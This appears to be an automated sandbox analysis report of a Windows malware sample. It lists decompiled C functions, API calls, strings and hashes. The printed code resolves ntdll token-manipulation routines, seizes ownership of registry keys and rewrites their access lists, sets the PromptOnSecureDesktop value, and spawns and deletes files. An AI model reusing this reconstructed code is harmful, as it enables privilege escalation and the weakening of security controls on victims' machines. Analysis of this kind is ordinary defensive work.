GetModuleFileNameA.KERNEL32(00000000,?,?,00000104,?,?,00000010,?,?,00000044), ref: 02F0A204
GetDriveTypeA.KERNEL32(?), ref: 02F0A24E
lstrcat.KERNEL32(?,00000000), ref: 02F0A288
lstrcat.KERNEL32(?,00410A34), ref: 02F0A2AE
lstrcat.KERNEL32(?,00000022), ref: 02F0A2C2
lstrcat.KERNEL32(?,00410A34), ref: 02F0A2DD
wsprintfA.USER32 ref: 02F0A306
lstrcat.KERNEL32(?,00000000), ref: 02F0A32E
lstrcat.KERNEL32(?,?), ref: 02F0A34D
CreateProcessA.KERNEL32(?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?,?,00000010), ref: 02F0A370
DeleteFileA.KERNEL32(?,?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?), ref: 02F0A381
RegCloseKey.ADVAPI32(?,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 02F0A1BA

Part of subcall function 02F0994F: RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 02F09986
Part of subcall function 02F0994F: RegDeleteValueA.ADVAPI32(?,00000000), ref: 02F099A6
Part of subcall function 02F0994F: RegCloseKey.ADVAPI32(?), ref: 02F099AF

GetModuleHandleA.KERNEL32(?,?,0000012C), ref: 02F0A3C4
GetModuleFileNameA.KERNEL32(00000000,?,?,0000012C), ref: 02F0A3CB
GetDriveTypeA.KERNEL32(00000022), ref: 02F0A406

Strings

P, xrefs: 02F09FFA
", xrefs: 02F0A12B
D, xrefs: 02F0A1DE
", xrefs: 02F0A3D9
\, xrefs: 02F09F5C
", xrefs: 02F0A2C8

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: lstrcat$FileModule$DeleteHandle$CloseDirectoryDriveNameOpenProcessTypeValuelstrcpy$AddressAttributesCreateEnvironmentExitInformationPathProcSystemTempVariableVolumeWindowslstrlenwsprintf
String ID: "$"$"$D$P$\
API String ID: 1653845638-2605685093
Opcode ID: 049f5d827738c30cc058a506025830ba0968d2c2d146dc972988d3ce1ec7552b
Instruction ID: 11fcef396b07bb8333c4b5cc96d0645423a39eb8ddcd86b2e69c52f1c518c4ef
Opcode Fuzzy Hash: 049f5d827738c30cc058a506025830ba0968d2c2d146dc972988d3ce1ec7552b
Instruction Fuzzy Hash: 80F134B1D4035DAEDF21DBA0CC88FEE77BDAB08744F0444A5E709E2181EB758A859F64

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000() {
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;
				signed int _t4;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t15;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				signed int _t34;
				signed int _t35;

				_t2 =  *0x413918;
				_t35 = _t34 | 0xffffffff;
				if(_t2 != 0) {
					L3:
					if( *0x41391c == 0 ||  *0x413920 == 0 ||  *0x413924 == 0 ||  *0x413928 == 0 ||  *0x41392c == 0 ||  *0x413930 == 0 ||  *0x413934 == 0 ||  *0x413938 == 0 ||  *0x41393c == 0 ||  *0x413940 == 0 ||  *0x413944 == 0 ||  *0x413948 == 0 ||  *0x41394c == 0 ||  *0x413950 == 0 ||  *0x413954 == 0) {
						_t3 = GetProcAddress(_t2, "RtlExpandEnvironmentStrings_U");
						 *0x41391c = _t3;
						if(_t3 == 0) {
							L34:
							_t4 = _t35;
						} else {
							_t35 = 0xfffffffe;
							_t6 = GetProcAddress( *0x413918, "RtlSetLastWin32Error");
							 *0x413920 = _t6;
							if(_t6 == 0) {
								goto L34;
							} else {
								_t35 = 0xfffffffd;
								_t7 = GetProcAddress( *0x413918, "NtTerminateProcess");
								 *0x413924 = _t7;
								if(_t7 == 0) {
									goto L34;
								} else {
									_t35 = 0xfffffffc;
									_t8 = GetProcAddress( *0x413918, "RtlFreeSid");
									 *0x413928 = _t8;
									if(_t8 == 0) {
										goto L34;
									} else {
										_t35 = 0xfffffffb;
										_t10 = GetProcAddress( *0x413918, "RtlInitUnicodeString");
										 *0x41392c = _t10;
										if(_t10 == 0) {
											goto L34;
										} else {
											_t35 = 0xfffffffa;
											_t11 = GetProcAddress( *0x413918, "NtSetInformationThread");
											 *0x413930 = _t11;
											if(_t11 == 0) {
												goto L34;
											} else {
												_t35 = 0xfffffff9;
												_t12 = GetProcAddress( *0x413918, "NtSetInformationToken");
												 *0x413934 = _t12;
												if(_t12 == 0) {
													goto L34;
												} else {
													_t35 = 0xfffffff8;
													_t14 = GetProcAddress( *0x413918, "RtlNtStatusToDosError");
													 *0x413938 = _t14;
													if(_t14 == 0) {
														goto L34;
													} else {
														_t35 = 0xfffffff7;
														_t15 = GetProcAddress( *0x413918, "NtClose");
														 *0x41393c = _t15;
														if(_t15 == 0) {
															goto L34;
														} else {
															_t35 = 0xfffffff6;
															_t16 = GetProcAddress( *0x413918, "NtOpenProcessToken");
															 *0x413940 = _t16;
															if(_t16 == 0) {
																goto L34;
															} else {
																_t35 = 0xfffffff5;
																_t18 = GetProcAddress( *0x413918, "NtDuplicateToken");
																 *0x413944 = _t18;
																if(_t18 == 0) {
																	goto L34;
																} else {
																	_t35 = 0xfffffff4;
																	_t19 = GetProcAddress( *0x413918, "RtlAllocateAndInitializeSid");
																	 *0x413948 = _t19;
																	if(_t19 == 0) {
																		goto L34;
																	} else {
																		_t35 = 0xfffffff3;
																		_t20 = GetProcAddress( *0x413918, "NtFilterToken");
																		 *0x41394c = _t20;
																		if(_t20 == 0) {
																			goto L34;
																		} else {
																			_t35 = 0xfffffff2;
																			_t22 = GetProcAddress( *0x413918, "RtlLengthSid");
																			 *0x413950 = _t22;
																			if(_t22 == 0) {
																				goto L34;
																			} else {
																				_t35 = 0xfffffff1;
																				_t23 = GetProcAddress( *0x413918, "NtQueryInformationToken");
																				 *0x413954 = _t23;
																				_t1 = _t35 + 0x10; // 0x100000001
																				_t4 = _t1;
																				if(_t23 == 0) {
																					goto L34;
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						return _t4;
					} else {
						return 1;
					}
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x413918 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x00401000
0x00401006
0x0040100b
0x00401023
0x0040102a
0x004010c2
0x004010c4
0x004010cb
0x0040127b
0x0040127b
0x004010d1
0x004010dc
0x004010e1
0x004010e3
0x004010ea
0x00000000
0x004010f0
0x004010fc
0x00401101
0x00401103
0x0040110a
0x00000000
0x00401110
0x0040111c
0x00401121
0x00401123
0x0040112a
0x00000000
0x00401130
0x0040113b
0x00401140
0x00401142
0x00401149
0x00000000
0x0040114f
0x0040115b
0x00401160
0x00401162
0x00401169
0x00000000
0x0040116f
0x0040117b
0x00401180
0x00401182
0x00401189
0x00000000
0x0040118f
0x0040119a
0x0040119f
0x004011a1
0x004011a8
0x00000000
0x004011ae
0x004011ba
0x004011bf
0x004011c1
0x004011c8
0x00000000
0x004011ce
0x004011da
0x004011df
0x004011e1
0x004011e8
0x00000000
0x004011ee
0x004011f9
0x004011fe
0x00401200
0x00401207
0x00000000
0x00401209
0x00401215
0x0040121a
0x0040121c
0x00401223
0x00000000
0x00401225
0x00401231
0x00401236
0x00401238
0x0040123f
0x00000000
0x00401241
0x0040124c
0x00401251
0x00401253
0x0040125a
0x00000000
0x0040125c
0x00401268
0x0040126d
0x0040126f
0x00401276
0x00401276
0x00401279
0x00000000
0x00000000
0x00401279
0x0040125a
0x0040123f
0x00401223
0x00401207
0x004011e8
0x004011c8
0x004011a8
0x00401189
0x00401169
0x00401149
0x0040112a
0x0040110a
0x004010ea
0x0040127f
0x004010ae
0x004010b4
0x004010b4
0x0040100d
0x00401012
0x00401018
0x0040101f
0x00000000
0x00401022
0x00401022
0x00401022
0x0040101f

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012
GetProcAddress.KERNEL32(?,RtlExpandEnvironmentStrings_U), ref: 004010C2
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 004010E1
GetProcAddress.KERNEL32(?,NtTerminateProcess), ref: 00401101
GetProcAddress.KERNEL32(?,RtlFreeSid), ref: 00401121
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 00401140
GetProcAddress.KERNEL32(?,NtSetInformationThread), ref: 00401160
GetProcAddress.KERNEL32(?,NtSetInformationToken), ref: 00401180
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0040119F
GetProcAddress.KERNEL32(?,NtClose), ref: 004011BF
GetProcAddress.KERNEL32(?,NtOpenProcessToken), ref: 004011DF
GetProcAddress.KERNEL32(?,NtDuplicateToken), ref: 004011FE
GetProcAddress.KERNEL32(?,RtlAllocateAndInitializeSid), ref: 0040121A

Strings

NtQueryInformationToken, xrefs: 00401262
ntdll.dll, xrefs: 0040100D
NtDuplicateToken, xrefs: 004011F3
NtSetInformationToken, xrefs: 00401175
RtlSetLastWin32Error, xrefs: 004010D6
NtFilterToken, xrefs: 0040122B
RtlInitUnicodeString, xrefs: 00401135
NtTerminateProcess, xrefs: 004010F6
RtlLengthSid, xrefs: 00401246
RtlFreeSid, xrefs: 00401116
NtSetInformationThread, xrefs: 00401155
RtlAllocateAndInitializeSid, xrefs: 0040120F
NtOpenProcessToken, xrefs: 004011D4
RtlNtStatusToDosError, xrefs: 00401194
RtlExpandEnvironmentStrings_U, xrefs: 004010BC
NtClose, xrefs: 004011B4

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction ID: c8dd2db2df3f08e17c6117e54d1286841a2c4197db930f8a9693796d5e259140
Opcode Fuzzy Hash: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction Fuzzy Hash: 2F5100B1662641A6D7118F69EC84BD23AE86748372F14837B9520F62F0D7F8CAC1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B211, Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040B211(FILETIME* _a4, CHAR* _a8, signed int _a12) {
				struct _FILETIME _v12;
				struct _SYSTEMTIME _v28;
				CHAR* _v32;
				CHAR* _v36;
				CHAR* _v40;
				CHAR* _v44;
				CHAR* _v48;
				CHAR* _v52;
				CHAR* _v56;
				CHAR* _v60;
				CHAR* _v64;
				CHAR* _v68;
				CHAR* _v72;
				CHAR* _v76;
				CHAR* _v80;
				CHAR* _v84;
				CHAR* _v88;
				CHAR* _v92;
				CHAR* _v96;
				CHAR* _v100;
				CHAR* _v104;
				struct _TIME_ZONE_INFORMATION _v276;
				long _t77;
				signed int _t80;
				signed int _t93;
				signed int _t101;
				signed int _t102;
				CHAR* _t103;
				signed int _t104;
				signed short _t106;
				signed short _t109;
				signed int _t114;
				signed int _t115;
				void* _t117;

				_v56 = "Sun";
				_v52 = "Mon";
				_v48 = "Tue";
				_v44 = "Wed";
				_v40 = "Thu";
				_v36 = "Fri";
				_v32 = "Sat";
				_v104 = "Jan";
				_v100 = "Feb";
				_v96 = "Mar";
				_v92 = "Apr";
				_v88 = "May";
				_v84 = "Jun";
				_v80 = "Jul";
				_v76 = "Aug";
				_v72 = "Sep";
				_v68 = "Oct";
				_v64 = "Nov";
				_v60 = "Dec";
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v12);
					FileTimeToSystemTime( &_v12,  &_v28);
				} else {
					GetLocalTime( &_v28);
				}
				_t114 = _a12;
				if(_t114 != 0) {
					SystemTimeToFileTime( &_v28,  &_v12);
					_t93 = E0040ECA5();
					if(_t114 <= 0) {
						_t104 = _t93 %  ~_t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime - _t104;
						asm("sbb [ebp-0x4], ebx");
					} else {
						_t104 = _t93 % _t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime + _t104;
						asm("adc [ebp-0x4], ebx");
					}
					FileTimeToSystemTime( &_v12,  &_v28);
				}
				_v276.Bias = 0;
				_t77 = GetTimeZoneInformation( &_v276);
				_t101 = _v276.Bias;
				if(_t77 == 2) {
					_t101 = _t101 + _v276.DaylightBias;
				}
				_t102 =  ~_t101;
				asm("cdq");
				_t80 = (_t102 ^ _t104) - _t104;
				if(_v28.wDayOfWeek > 6) {
					_t109 = 6;
					_v28.wDayOfWeek = _t109;
				}
				if(_v28.wMonth == 0) {
					_v28.wMonth = 1;
				}
				if(_v28.wMonth > 0xc) {
					_t106 = 0xc;
					_v28.wMonth = _t106;
				}
				_t103 = "+";
				if(_t102 < 0) {
					_t103 = "-";
				}
				_t115 = 0x3c;
				asm("cdq");
				return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t117 + (_v28.wDayOfWeek & 0x0000ffff) * 4 - 0x34)), _v28.wDay & 0x0000ffff,  *((intOrPtr*)(_t117 + (_v28.wMonth & 0x0000ffff) * 4 - 0x68)), _v28.wYear & 0x0000ffff, _v28.wHour & 0x0000ffff, _v28.wMinute & 0x0000ffff, _v28.wSecond & 0x0000ffff, _t103, _t80 / _t115, _t80 % _t115);
			}

0x0040b225
0x0040b22c
0x0040b233
0x0040b23a
0x0040b241
0x0040b248
0x0040b24f
0x0040b256
0x0040b25d
0x0040b264
0x0040b26b
0x0040b272
0x0040b279
0x0040b280
0x0040b287
0x0040b28e
0x0040b295
0x0040b29c
0x0040b2a3
0x0040b2ad
0x0040b2c2
0x0040b2d0
0x0040b2af
0x0040b2b3
0x0040b2b3
0x0040b2d2
0x0040b2d7
0x0040b2e1
0x0040b2e7
0x0040b2f0
0x0040b306
0x0040b30c
0x0040b30f
0x0040b2f2
0x0040b2f4
0x0040b2fa
0x0040b2fd
0x0040b2fd
0x0040b31a
0x0040b31a
0x0040b323
0x0040b329
0x0040b32f
0x0040b338
0x0040b33a
0x0040b33a
0x0040b33d
0x0040b341
0x0040b344
0x0040b34b
0x0040b34f
0x0040b350
0x0040b350
0x0040b358
0x0040b35d
0x0040b35d
0x0040b366
0x0040b36a
0x0040b36b
0x0040b36b
0x0040b371
0x0040b376
0x0040b378
0x0040b378
0x0040b37f
0x0040b380
0x0040b3c4

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 0040B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 0040B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 0040B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B31A
GetTimeZoneInformation.KERNEL32(?), ref: 0040B329
wsprintfA.USER32 ref: 0040B3B7

Strings

Mon, xrefs: 0040B22C
Jul, xrefs: 0040B280
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 0040B3AF
Feb, xrefs: 0040B25D
Sep, xrefs: 0040B28E
Tue, xrefs: 0040B233
Jun, xrefs: 0040B279
Apr, xrefs: 0040B26B
Aug, xrefs: 0040B287
Wed, xrefs: 0040B23A
Dec, xrefs: 0040B2A3
May, xrefs: 0040B272
Oct, xrefs: 0040B295
Sat, xrefs: 0040B24F
Sun, xrefs: 0040B225
Nov, xrefs: 0040B29C
Mar, xrefs: 0040B264
Fri, xrefs: 0040B248
Thu, xrefs: 0040B241
Jan, xrefs: 0040B256

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 3cccae2c5b68faf9d5e65ebc3321ef0303f497beb4f825406ae493c25d793f5b
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: D8510EB1D0021CAADF18DFD5D8495EEBBB9EF48304F10856BE501B6250E7B84AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 02F07CE5, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,000E0100,?), ref: 02F07D0A
GetUserNameA.ADVAPI32(?,?), ref: 02F07D2F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 02F07D66
RegGetKeySecurity.ADVAPI32(?,00000005,?,?), ref: 02F07D8B
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 02F07DA9
EqualSid.ADVAPI32(?,?), ref: 02F07DBA
LocalAlloc.KERNEL32(00000040,00000014), ref: 02F07DCE
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 02F07DDC
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 02F07DEC
RegSetKeySecurity.ADVAPI32(?,00000001,00000000), ref: 02F07DFB
LocalFree.KERNEL32(00000000), ref: 02F07E02
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 02F07E1E

Strings

D, xrefs: 02F07D5C
PromptOnSecureDesktop, xrefs: 02F07F89

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction ID: 589d337a600d352e8dd061a5f2444e15df2c3d255394f6b77fc3f1cd716c6b97
Opcode Fuzzy Hash: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction Fuzzy Hash: 61A16371D00209AFDF119F90DC88FEFBBB9FB48345F048069E605E6190D7759A85DB64

Uniqueness

Uniqueness Score: -1.00%

Function 00407A95, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00407A95(void* _a4, char* _a8, signed int _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				struct _ACL* _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				int _v64;
				void _v132;
				char _v388;
				char _v516;
				struct _SECURITY_DESCRIPTOR _v1540;
				void* _t95;
				void* _t104;
				void* _t107;
				void* _t111;
				void* _t116;
				struct _ACL* _t117;
				void* _t118;
				void* _t120;
				void* _t122;
				void* _t123;
				void* _t125;
				char* _t126;
				void* _t130;
				void* _t134;
				void* _t135;
				signed int _t136;
				void* _t143;
				void* _t146;
				int _t148;
				int _t151;
				void** _t159;
				void* _t161;
				void* _t164;
				signed int _t172;
				void* _t173;
				char* _t174;
				void* _t175;
				void* _t176;

				_v32 = 0;
				_v12 = 0;
				_v28 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0xe0100,  &_v28) != 0) {
					return 0;
				}
				_v40 = 0x80;
				_t95 = GetUserNameA( &_v388,  &_v40);
				__eflags = _t95;
				if(_t95 == 0) {
					L48:
					RegCloseKey(_v28);
					return _v12;
				} else {
					_v36 = 0x44;
					_v44 = 0x80;
					_t104 = LookupAccountNameA(0,  &_v388,  &_v132,  &_v36,  &_v516,  &_v44,  &_v56);
					__eflags = _t104;
					if(_t104 == 0) {
						goto L48;
					}
					_v48 = 0x400;
					_t107 = RegGetKeySecurity(_v28, 5,  &_v1540,  &_v48);
					__eflags = _t107;
					if(_t107 != 0) {
						goto L48;
					}
					_t111 = GetSecurityDescriptorOwner( &_v1540,  &_v16,  &_v60);
					__eflags = _t111;
					if(_t111 == 0) {
						L12:
						_v24 = 0;
						_t116 = GetSecurityDescriptorDacl( &_v1540,  &_v64,  &_v32,  &_v52);
						__eflags = _t116;
						if(_t116 == 0) {
							L47:
							goto L48;
						}
						_t117 = _v32;
						__eflags = _t117;
						if(_t117 == 0) {
							goto L47;
						}
						_t164 = 0;
						_v8 = 0;
						__eflags = 0 - _t117->AceCount;
						if(0 >= _t117->AceCount) {
							goto L47;
						} else {
							goto L15;
						}
						do {
							L15:
							_t118 = GetAce(_t117, _v8,  &_v20);
							__eflags = _t118;
							if(_t118 == 0) {
								L31:
								_t73 =  &_v8;
								 *_t73 = _v8 + 1;
								__eflags =  *_t73;
								goto L32;
							}
							_t172 = 0;
							_v16 = _v20 + 8;
							__eflags = _t164;
							if(_t164 <= 0) {
								L21:
								__eflags = _t164 - 0x20;
								if(_t164 < 0x20) {
									 *((intOrPtr*)(_t176 + _t164 * 4 - 0x100)) = _v16;
									_t164 = _t164 + 1;
									__eflags = _t164;
								}
								_t134 = EqualSid( &_v132, _v16);
								_t159 = _v20;
								__eflags = _t134;
								if(_t134 == 0) {
									_t135 = 0x20000;
								} else {
									asm("sbb eax, eax");
									_t135 = ( ~_a12 & 0x00010006) + 0xe0039;
								}
								__eflags = _t159[1] - _t135;
								if(_t159[1] != _t135) {
									_t159[1] = _t135;
									_t159 = _v20;
									_v24 = 1;
								}
								__eflags =  *_t159;
								if( *_t159 != 0) {
									L30:
									 *_t159 = 0;
									_t136 = _v16;
									__eflags =  *(_t136 + 8);
									_t68 =  *(_t136 + 8) == 0;
									__eflags = _t68;
									_v24 = 1;
									 *((char*)(_v20 + 1)) = 2 + (_t136 & 0xffffff00 | _t68) * 8;
									goto L31;
								} else {
									__eflags = _t159[0] & 0x00000010;
									if((_t159[0] & 0x00000010) == 0) {
										goto L31;
									}
									goto L30;
								}
							} else {
								goto L17;
							}
							while(1) {
								L17:
								_t143 = EqualSid( *(_t176 + _t172 * 4 - 0x100), _v16);
								__eflags = _t143;
								if(_t143 != 0) {
									break;
								}
								_t172 = _t172 + 1;
								__eflags = _t172 - _t164;
								if(_t172 < _t164) {
									continue;
								}
								break;
							}
							__eflags = _t172 - _t164;
							if(_t172 >= _t164) {
								goto L21;
							}
							DeleteAce(_v32, _v8);
							_v24 = 1;
							L32:
							_t117 = _v32;
							__eflags = _v8 - (_t117->AceCount & 0x0000ffff);
						} while (_v8 < (_t117->AceCount & 0x0000ffff));
						__eflags = _v24;
						if(_v24 == 0) {
							goto L47;
						}
						__eflags =  *0x4121a8; // 0x0
						if(__eflags == 0) {
							L41:
							_v12 = 1;
							_t173 = LocalAlloc(0x40, 0x14);
							__eflags = _t173;
							if(_t173 != 0) {
								_t120 = InitializeSecurityDescriptor(_t173, 1);
								__eflags = _t120;
								if(_t120 != 0) {
									_t122 = SetSecurityDescriptorDacl(_t173, 1, _v32, 0);
									__eflags = _t122;
									if(_t122 != 0) {
										_t123 = RegSetKeySecurity(_v28, 4, _t173);
										__eflags = _t123;
										if(_t123 == 0) {
											_v12 = 1;
										}
									}
								}
								LocalFree(_t173);
							}
							goto L47;
						}
						__eflags =  *0x412cc0; // 0x0
						if(__eflags == 0) {
							goto L41;
						}
						_v12 = 0;
						_t125 = RegOpenKeyExA(_a4, _a8, 0, 0x103,  &_v12);
						__eflags = _t125;
						if(_t125 != 0) {
							goto L41;
						}
						_t126 = 0x4121a8;
						_t83 =  &(_t126[1]); // 0x4121a9
						_t174 = _t83;
						do {
							_t161 =  *_t126;
							_t126 =  &(_t126[1]);
							__eflags = _t161;
						} while (_t161 != 0);
						_t130 = RegSetValueExA(_v12, E00402544("PromptOnSecureDesktop", 0x4106dc, 0xa, 0xe4, 0xc8), 0, 2, 0x4121a8, _t126 - _t174 + 1);
						__eflags = _t130;
						if(_t130 == 0) {
							 *0x412cc0 = 0;
						}
						goto L41;
					}
					_t146 = EqualSid( &_v132, _v16);
					__eflags = _t146;
					if(_t146 != 0) {
						goto L12;
					}
					_v12 = 1;
					_t175 = LocalAlloc(0x40, 0x14);
					__eflags = _t175;
					if(_t175 != 0) {
						_t148 = InitializeSecurityDescriptor(_t175, 1);
						__eflags = _t148;
						if(_t148 != 0) {
							_t151 = SetSecurityDescriptorOwner(_t175,  &_v132, 0);
							__eflags = _t151;
							if(_t151 != 0) {
								RegSetKeySecurity(_v28, 1, _t175);
							}
						}
						LocalFree(_t175);
					}
					goto L12;
				}
			}

0x00407aae
0x00407ab4
0x00407ab7
0x00407ac2
0x00000000
0x00407ac4
0x00407adc
0x00407adf
0x00407ae5
0x00407ae7
0x00407da7
0x00407daa
0x00000000
0x00407aed
0x00407b0c
0x00407b13
0x00407b16
0x00407b1c
0x00407b1e
0x00000000
0x00000000
0x00407b34
0x00407b3b
0x00407b41
0x00407b43
0x00000000
0x00000000
0x00407b59
0x00407b5f
0x00407b61
0x00407bb8
0x00407bcb
0x00407bce
0x00407bd4
0x00407bd6
0x00407da6
0x00000000
0x00407da6
0x00407bdc
0x00407bdf
0x00407be1
0x00000000
0x00000000
0x00407be9
0x00407beb
0x00407bee
0x00407bf2
0x00000000
0x00000000
0x00000000
0x00000000
0x00407bf8
0x00407bf8
0x00407c00
0x00407c06
0x00407c08
0x00407cc6
0x00407cc6
0x00407cc6
0x00407cc6
0x00000000
0x00407cc6
0x00407c14
0x00407c16
0x00407c19
0x00407c1b
0x00407c4f
0x00407c4f
0x00407c52
0x00407c57
0x00407c5e
0x00407c5e
0x00407c5e
0x00407c66
0x00407c6c
0x00407c6f
0x00407c71
0x00407c86
0x00407c73
0x00407c78
0x00407c7f
0x00407c7f
0x00407c8b
0x00407c8e
0x00407c90
0x00407c93
0x00407c96
0x00407c96
0x00407c9d
0x00407c9f
0x00407ca7
0x00407ca7
0x00407ca9
0x00407cac
0x00407cb2
0x00407cb2
0x00407cb5
0x00407cc3
0x00000000
0x00407ca1
0x00407ca1
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407c1d
0x00407c1d
0x00407c27
0x00407c2d
0x00407c2f
0x00000000
0x00000000
0x00407c31
0x00407c32
0x00407c34
0x00000000
0x00000000
0x00000000
0x00407c34
0x00407c36
0x00407c38
0x00000000
0x00000000
0x00407c40
0x00407c46
0x00407cc9
0x00407cc9
0x00407cd0
0x00407cd0
0x00407cd9
0x00407cdc
0x00000000
0x00000000
0x00407ce2
0x00407ce8
0x00407d5a
0x00407d61
0x00407d6a
0x00407d6c
0x00407d6e
0x00407d72
0x00407d78
0x00407d7a
0x00407d82
0x00407d88
0x00407d8a
0x00407d92
0x00407d98
0x00407d9a
0x00407d9c
0x00407d9c
0x00407d9a
0x00407d8a
0x00407da0
0x00407da0
0x00000000
0x00407d6e
0x00407cea
0x00407cf0
0x00000000
0x00000000
0x00407cff
0x00407d05
0x00407d0b
0x00407d0d
0x00000000
0x00000000
0x00407d14
0x00407d16
0x00407d16
0x00407d19
0x00407d19
0x00407d1b
0x00407d1c
0x00407d1c
0x00407d4a
0x00407d50
0x00407d52
0x00407d54
0x00407d54
0x00000000
0x00407d52
0x00407b6a
0x00407b70
0x00407b72
0x00000000
0x00000000
0x00407b7b
0x00407b84
0x00407b86
0x00407b88
0x00407b8c
0x00407b92
0x00407b94
0x00407b9c
0x00407ba2
0x00407ba4
0x00407bab
0x00407bab
0x00407ba4
0x00407bb2
0x00407bb2
0x00000000
0x00407b88

APIs

RegOpenKeyExA.ADVAPI32(000000E4,00000022,00000000,000E0100,00000000,00000000), ref: 00407ABA
GetUserNameA.ADVAPI32(?,?), ref: 00407ADF
LookupAccountNameA.ADVAPI32(00000000,?,?,0041070C,?,004133B0,?), ref: 00407B16
RegGetKeySecurity.ADVAPI32(00000000,00000005,?,?), ref: 00407B3B
GetSecurityDescriptorOwner.ADVAPI32(?,00000022,80000002), ref: 00407B59
EqualSid.ADVAPI32(?,00000022), ref: 00407B6A
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407B7E
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407B8C
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407B9C
